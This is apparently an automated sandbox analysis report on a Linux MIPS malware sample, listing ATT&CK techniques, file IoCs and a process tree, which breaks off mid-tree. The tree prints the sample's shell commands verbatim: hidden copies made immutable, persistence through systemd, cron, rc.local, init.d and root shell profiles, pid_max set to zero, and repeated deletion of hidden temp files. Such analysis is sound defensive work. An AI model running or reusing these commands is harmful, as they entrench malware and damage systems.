9e8b9f17d96e2f4af60fd2d820620046d065221a438ce44f50b1f1c57a40dc4a

persistence privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.JwqRjr	crontab
File opened for modification	/etc/cron.d/.e	sh

Creates/modifies environment variables 1 TTPs 1 IoCs

Creating/modifying environment variables is a common persistence mechanism.

Path Interception by PATH Environment Variable

description	ioc	Process
File opened for modification	/root/.bash_profile	sh

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	eclipse.mipsel.elf

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 1 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

persistence privilege_escalation

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/.e	sh

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/.e.service	sh

Write file to user bin folder 4 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/sbin/reboot	eclipse.mipsel.elf
File opened for modification	/usr/sbin/shutdown	eclipse.mipsel.elf
File opened for modification	/usr/sbin/poweroff	eclipse.mipsel.elf
File opened for modification	/usr/sbin/halt	eclipse.mipsel.elf

Writes file to system bin folder 8 IoCs

description	ioc	Process
File opened for modification	/sbin/poweroff	eclipse.mipsel.elf
File opened for modification	/sbin/halt	eclipse.mipsel.elf
File opened for modification	/bin/reboot	eclipse.mipsel.elf
File opened for modification	/bin/shutdown	eclipse.mipsel.elf
File opened for modification	/bin/poweroff	eclipse.mipsel.elf
File opened for modification	/bin/halt	eclipse.mipsel.elf
File opened for modification	/sbin/reboot	eclipse.mipsel.elf
File opened for modification	/sbin/shutdown	eclipse.mipsel.elf

Modifies Bash startup script 2 TTPs 1 IoCs

persistence

Boot or Logon Autostart Execution

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bash_profile	sh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	eclipse.mipsel.elf

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/29/fd	eclipse.mipsel.elf
File opened for reading	/proc/113/fd	eclipse.mipsel.elf
File opened for reading	/proc/678/fd	eclipse.mipsel.elf
File opened for reading	/proc/808/fd	eclipse.mipsel.elf
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/7/fd	eclipse.mipsel.elf
File opened for reading	/proc/14/fd	eclipse.mipsel.elf
File opened for reading	/proc/677/fd	eclipse.mipsel.elf
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/112/fd	eclipse.mipsel.elf
File opened for reading	/proc/379/fd	eclipse.mipsel.elf
File opened for reading	/proc/774/fd	eclipse.mipsel.elf
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/5/fd	eclipse.mipsel.elf
File opened for reading	/proc/766/fd	eclipse.mipsel.elf
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/6/fd	eclipse.mipsel.elf
File opened for reading	/proc/33/fd	eclipse.mipsel.elf
File opened for reading	/proc/45/fd	eclipse.mipsel.elf
File opened for reading	/proc/790/fd	eclipse.mipsel.elf
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/59/fd	eclipse.mipsel.elf
File opened for reading	/proc/116/fd	eclipse.mipsel.elf
File opened for reading	/proc/214/fd	eclipse.mipsel.elf
File opened for reading	/proc/405/fd	eclipse.mipsel.elf
File opened for reading	/proc/10/fd	eclipse.mipsel.elf
File opened for reading	/proc/53/fd	eclipse.mipsel.elf
File opened for reading	/proc/404/fd	eclipse.mipsel.elf
File opened for reading	/proc/764/fd	eclipse.mipsel.elf
File opened for reading	/proc/804/fd	eclipse.mipsel.elf
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/31/fd	eclipse.mipsel.elf
File opened for reading	/proc/137/fd	eclipse.mipsel.elf
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/48/fd	eclipse.mipsel.elf
File opened for reading	/proc/58/fd	eclipse.mipsel.elf
File opened for reading	/proc/709/fd	eclipse.mipsel.elf
File opened for reading	/proc/8/fd	eclipse.mipsel.elf
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/11/fd	eclipse.mipsel.elf
File opened for reading	/proc/15/fd	eclipse.mipsel.elf
File opened for reading	/proc/30/fd	eclipse.mipsel.elf
File opened for reading	/proc/37/fd	eclipse.mipsel.elf
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/16/fd	eclipse.mipsel.elf
File opened for reading	/proc/332/fd	eclipse.mipsel.elf
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/47/fd	eclipse.mipsel.elf
File opened for reading	/proc/779/fd	eclipse.mipsel.elf
File opened for reading	/proc/812/fd	eclipse.mipsel.elf
File opened for reading	/proc/filesystems	find

System Network Configuration Discovery 1 TTPs 54 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
965	sh
986	sh
1003	find
1011	find
1016	find
1019	sh
1020	find
961	sh
934	find
929	sh
937	sh
942	find
999	find
1015	sh
823	cp
827	cp
933	sh
946	find
978	sh
979	find
983	find
990	sh
798	eclipse.mipsel.elf
938	find
941	sh
945	sh
953	sh
958	find
982	sh
991	find
950	find
954	find
969	sh
995	find
998	sh
820	sh
826	sh
908	sh
921	find
930	find
957	sh
970	find
994	sh
842	sh
909	find
962	find
966	find
1002	sh
1006	sh
1007	find
1010	sh
920	sh
987	find
949	sh

/tmp/eclipse.mipsel.elf
/tmp/eclipse.mipsel.elf
1⤵
- Enumerates active TCP sockets
- Write file to user bin folder
- Writes file to system bin folder
- Reads system network configuration
- Reads runtime system information
- System Network Configuration Discovery
PID:798
- /bin/sh
  sh -c "echo '0' > /proc/sys/kernel/pid_max 2>/dev/null"
  2⤵
  PID:815
- /bin/sh
  sh -c "ulimit -u 50 2>/dev/null"
  2⤵
  PID:817
- /bin/sh
  sh -c "cp /tmp/eclipse.mipsel.elf /var/tmp/.e 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:820
- - /usr/bin/cp
    cp /tmp/eclipse.mipsel.elf /var/tmp/.e
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:823
- /bin/sh
  sh -c "cp /tmp/eclipse.mipsel.elf /usr/lib/.e 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:826
- - /usr/bin/cp
    cp /tmp/eclipse.mipsel.elf /usr/lib/.e
    3⤵
    - System Network Configuration Discovery
    PID:827
- /bin/sh
  sh -c "chmod +x /var/tmp/.e /usr/lib/.e 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:829
- - /usr/bin/chmod
    chmod +x /var/tmp/.e /usr/lib/.e
    3⤵
    - File and Directory Permissions Modification
    PID:830
- /bin/sh
  sh -c "chattr +i /var/tmp/.e 2>/dev/null"
  2⤵
  PID:832
- - /usr/bin/chattr
    chattr +i /var/tmp/.e
    3⤵
    PID:834
- /bin/sh
  sh -c "chattr +i /usr/lib/.e 2>/dev/null"
  2⤵
  PID:836
- - /usr/bin/chattr
    chattr +i /usr/lib/.e
    3⤵
    PID:839
- /bin/sh
  sh -c "printf '[Unit]\\nDescription=System Service\\nAfter=network.target\\n[Service]\\nType=simple\\nExecStart=/var/tmp/.e\\nRestart=on-failure\\nRestartSec=30\\n[Install]\\nWantedBy=multi-user.target\\n' > /etc/systemd/system/.e.service 2>/dev/null"
  2⤵
  - Modifies systemd
  - System Network Configuration Discovery
  PID:842
- /bin/sh
  sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable .e 2>/dev/null"
  2⤵
  PID:844
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:846
- - /usr/bin/systemctl
    systemctl enable .e
    3⤵
    PID:869
- /bin/sh
  sh -c "(crontab -l 2>/dev/null | grep -v '.e'; echo '* * * * * /var/tmp/.e') | crontab - 2>/dev/null"
  2⤵
  PID:887
- - /usr/bin/crontab
    crontab -l
    3⤵
    PID:890
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:889
- - /usr/bin/grep
    grep -v .e
    3⤵
    PID:891
- /bin/sh
  sh -c "grep -q '.e' /etc/crontab 2>/dev/null || echo '* * * * * root /var/tmp/.e' >> /etc/crontab 2>/dev/null"
  2⤵
  PID:892
- - /usr/bin/grep
    grep -q .e /etc/crontab
    3⤵
    - Reads runtime system information
    PID:893
- /bin/sh
  sh -c "echo '* * * * * root /var/tmp/.e' > /etc/cron.d/.e 2>/dev/null"
  2⤵
  - Creates/modifies Cron job
  PID:894
- /bin/sh
  sh -c "grep -q '.e' /etc/rc.local 2>/dev/null || sed -i '/^exit 0/i /var/tmp/.e &' /etc/rc.local 2>/dev/null"
  2⤵
  PID:895
- - /usr/bin/grep
    grep -q .e /etc/rc.local
    3⤵
    PID:896
- - /usr/bin/sed
    sed -i "/^exit 0/i /var/tmp/.e &" /etc/rc.local
    3⤵
    PID:897
- /bin/sh
  sh -c "printf '#!/bin/sh\\n/var/tmp/.e &\\n' > /etc/init.d/.e 2>/dev/null && chmod +x /etc/init.d/.e 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  - Modifies init.d
  PID:898
- - /usr/bin/chmod
    chmod +x /etc/init.d/.e
    3⤵
    - File and Directory Permissions Modification
    PID:899
- /bin/sh
  sh -c "grep -q '.e' /root/.bashrc 2>/dev/null || echo '/var/tmp/.e &' >> /root/.bashrc 2>/dev/null"
  2⤵
  PID:900
- - /usr/bin/grep
    grep -q .e /root/.bashrc
    3⤵
    PID:901
- /bin/sh
  sh -c "grep -q '.e' /root/.profile 2>/dev/null || echo '/var/tmp/.e &' >> /root/.profile 2>/dev/null"
  2⤵
  PID:902
- - /usr/bin/grep
    grep -q .e /root/.profile
    3⤵
    - Reads runtime system information
    PID:903
- /bin/sh
  sh -c "grep -q '.e' /root/.bash_profile 2>/dev/null || echo '/var/tmp/.e &' >> /root/.bash_profile 2>/dev/null"
  2⤵
  - Creates/modifies environment variables
  - Modifies Bash startup script
  PID:904
- - /usr/bin/grep
    grep -q .e /root/.bash_profile
    3⤵
    - Reads runtime system information
    PID:905
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:906
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:907
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:908
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:909
  - - /usr/local/sbin/rm
      rm -rf /tmp/.X11-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.XIM-unix
      4⤵
      PID:910
  - - /usr/local/bin/rm
      rm -rf /tmp/.X11-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.XIM-unix
      4⤵
      PID:910
  - - /usr/sbin/rm
      rm -rf /tmp/.X11-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.XIM-unix
      4⤵
      PID:910
  - - /usr/bin/rm
      rm -rf /tmp/.X11-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.XIM-unix
      4⤵
      PID:910
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:918
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:919
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:920
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:921
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:927
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:928
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:929
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:930
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:931
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:932
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:933
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:934
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:935
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:936
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:937
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:938
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:939
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:940
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:941
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:942
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:943
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:944
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:945
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:946
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:947
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:948
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:949
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:950
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:951
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:952
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:953
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:954
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:955
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:956
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:957
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:958
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:959
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:960
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:961
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:962
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:963
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:964
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:965
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:966
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:967
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:968
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:969
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:970
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:976
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:977
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:978
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:979
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:980
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:981
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:982
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:983
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:984
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:985
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:986
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:987
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:988
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:989
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:990
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:991
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:992
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    - Reads runtime system information
    PID:993
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:994
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:995
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:996
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:997
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:998
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:999
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:1000
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:1001
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1002
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:1003
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:1004
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:1005
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1006
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:1007
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' -delete 2>/dev/null"
  2⤵
  PID:1008
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse -delete
    3⤵
    PID:1009
- /bin/sh
  sh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1010
- - /usr/bin/find
    find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +
    3⤵
    - System Network Configuration Discovery
    PID:1011
- /bin/sh
